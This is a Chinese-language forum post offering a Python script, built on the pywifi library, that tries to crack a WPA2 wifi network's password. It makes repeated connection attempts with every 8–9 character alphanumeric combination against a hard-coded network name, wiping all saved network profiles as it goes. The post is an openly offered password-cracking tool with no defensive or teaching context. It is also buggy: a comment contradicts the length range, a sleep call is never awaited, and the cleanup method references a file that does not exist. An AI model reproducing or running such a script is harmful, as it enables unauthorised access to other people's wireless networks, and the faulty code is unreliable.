返回列表 发布新帖
查看: 71|回复: 0

python破解wifi密码

1263

主题

0

回帖

3993

积分

论坛元老

积分
3993
发表于 3 天前 | 查看全部 |阅读模式
import time  # 时间
from asyncio.tasks import sleep
import itertools
import pywifi  # 破解wifi
from pywifi import const  # 引用一些定义


class PoJie():
    def __init__(self):
        wifi = pywifi.PyWiFi() #抓取网卡接口
        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect() #测试链接断开所有链接
     
        time.sleep(1) #休眠1秒
     
        #测试网卡是否属于断开状态,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def readPassWord(self):
        print("开始破解:")
        chars = '0123456789abcdefghijklmnopqrstuvwxyz'
        for password_length in range(8, 10):  # 这里我们尝试长度为1到8的密码
    # 使用itertools.product生成所有可能的密码组合
    # print(password_length)
            for password_tuple in itertools.product(chars, repeat=password_length):
                password = ''.join(password_tuple)
                # if password == "123":
                #     print(password)
                print(f'正在尝试密码{password}')   
                try:
                    myStr = password
                    if not myStr:
                        break
                    bool1=self.test_connect(myStr)
                    if bool1:
                        print("密码正确:",myStr)
                        break
                    else:
                        print("密码错误:"+myStr)
                    sleep(3)
                except:
                    continue
                             
    def test_connect(self,findStr):#测试链接

        profile = pywifi.Profile()  #创建wifi链接文件
        profile.ssid ="loveyiyi" #wifi名称
        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        profile.key = findStr #密码
     
        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True  
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
     
        return isOK
     

    def __del__(self):
        self.file.close()
         

start=PoJie()
start.readPassWord()
复制代码
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2025 52线报网 版权所有 All Rights Reserved. |网站地图 闽ICP备19006036号-4
关灯 在本版发帖
扫一扫添加微信客服
返回顶部
快速回复 返回顶部 返回列表